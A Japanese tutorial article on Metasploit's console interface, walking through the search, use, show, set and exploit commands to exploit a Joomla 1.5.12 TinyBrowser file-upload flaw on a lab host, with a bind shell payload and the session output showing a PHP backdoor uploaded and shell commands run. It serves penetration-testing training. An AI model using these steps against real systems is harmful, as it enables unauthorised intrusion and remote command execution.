RSS Feed  Twitter  
|
Articles - Security

ハッカージャパン 2010年05月号に寄稿した記事を編集・修正したものです。

Metasploit の基本的な使い方・コンソールインターフェイス編

 Msfconsleは、前述したGUIやWebインターフェイスと同じように、Penetrationメニューから「Msfconsle」を選択するか、コンソールで(/pentest/exploits/framework3に移動し)「./msfconsole」と入力して起動する。
 図①が、Msfconsleの起動時の画面である。GUIと異なり、いきなり起動しても、どういったコマンドがあるかはわからない。はじめはコマンドの概要をhelpコマンドで表示して確認してみよう。頻繁に使用するのは、use/show/search/setなどである。ちなみに、Msfconsleでは、Metasploitのコマンドだけでなく、pingやnslookupなどの外部コマンドも使用できる。
 
 では、exploitの実行手順で解説していこう。まず、GUIのように、どのようなモジュールがあるのかを参照したい場合には、showコマンドを使用する。たとえば、exploitであれば、「show exploits」、payloadなら、「show payloads」といった具合だ。使いたいモジュールを見つけるには、searchコマンドを使う「search joomla」と入力すれば今回利用するexploitモジュールが表示されるはずだ。

 続いて、該当するexploitモジュールを使用することをuseコマンドで指定する。「use <exploit名>」と入力すればよい。
 オプションの指定は、「show options」で確認できる。ターゲットのIPアドレスやポートの指定はsetコマンドを使う。たとえば、ターゲットのIPアドレスであれば、「set RHOST 192.168.241.138」といった具合だ。
 ちなみに、GUIの設定保存と同じように設定内容を保存したい場合には、setgコマンドを使う。最後に、exploitの実行は「exploit」と入力するだけだ。

①:Msfconsleを起動したら、helpコマンドでコマンドの概要をチェックしておくといいだろう。図は、searchコマンドでexploitを検索している例である。ここでは、search joomlaと入力している。検索結果より「unix/webapp/joomla_tinybrowser」を使用すればよいことがわかる。

 

msf > search joomla [*] Searching loaded modules for pattern 'joomla'...

Exploits
========

   Name                            Rank       Description
   ----                            ----       -----------
   unix/webapp/joomla_tinybrowser  excellent  Joomla 1.5.12 TinyBrowser File Upload Code Execution


②:useコマンドでexploitを指定すると同時に、showコマンドで、選択できるpayloadを確認している。

msf > use unix/webapp/joomla_tinybrowser msf exploit(joomla_tinybrowser) > show payloads 
Compatible Payloads
===================

   Name                       Rank    Description
   ----                       ----    -----------
   generic/shell_bind_tcp     normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp  normal  Generic Command Shell, Reverse TCP Inline
   php/bind_perl              normal  PHP Command Shell, Bind TCP (via perl)


③:「show options」で設定内容を確認する。ターゲットIPアドレス(RHOST)やpayloadをユーザー側で設定する。


msf exploit(joomla_tinybrowser) > show options 
Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST                     yes       The target address
   RPORT    80               yes       The target port
   URI      /                yes       Joomla directory path
   VHOST                     no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic


④:setコマンドで、payload、ターゲットIPアドレスを指定している。

msf exploit(joomla_tinybrowser) > set payload generic/shell_bind_tcp payload => generic/shell_bind_tcp
msf exploit(joomla_tinybrowser) > set RHOST 192.168.241.138

⑤:再度、「show options」で設定内容を確認する

msf exploit(joomla_tinybrowser) > show options 
Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST    192.168.241.138  yes       The target address
   RPORT    80               yes       The target port
   URI      /                yes       Joomla directory path
   VHOST                     no        HTTP server virtual host


Payload options (generic/shell_bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The local port
   RHOST  192.168.241.138  no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic


⑥:設定に誤りや変更が無ければ、exploitを実行する(exploitコマンドを入力)。exploitが成功し、セッションが開始。コマンドを入力している。

msf exploit(joomla_tinybrowser) > exploit 
[*] Started bind handler
[*] Successfully retrieved obfuscation code: 3bc6aeeecd3d028411bb8a479e93c359
[*] Successfully uploaded bkdmgnunpgeowfkljpyu.ph.p
[*] Renaming file from bkdmgnunpgeowfkljpyu.ph.p_ to bkdmgnunpgeowfkljpyu.ph.p
[*] Renamed bkdmgnunpgeowfkljpyu.ph.p to bkdmgnunpgeowfkljpyu.php
[*] Calling payload: bkdmgnunpgeowfkljpyu.php
[*] Command shell session 1 opened (192.168.241.132:60551 -> 192.168.241.138:4444)	
whoami		
www-data
uname -a	
Linux ubuntu 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:04:26 UTC 2009 i686 GNU/Linux
pwd		
/var/www/images/stories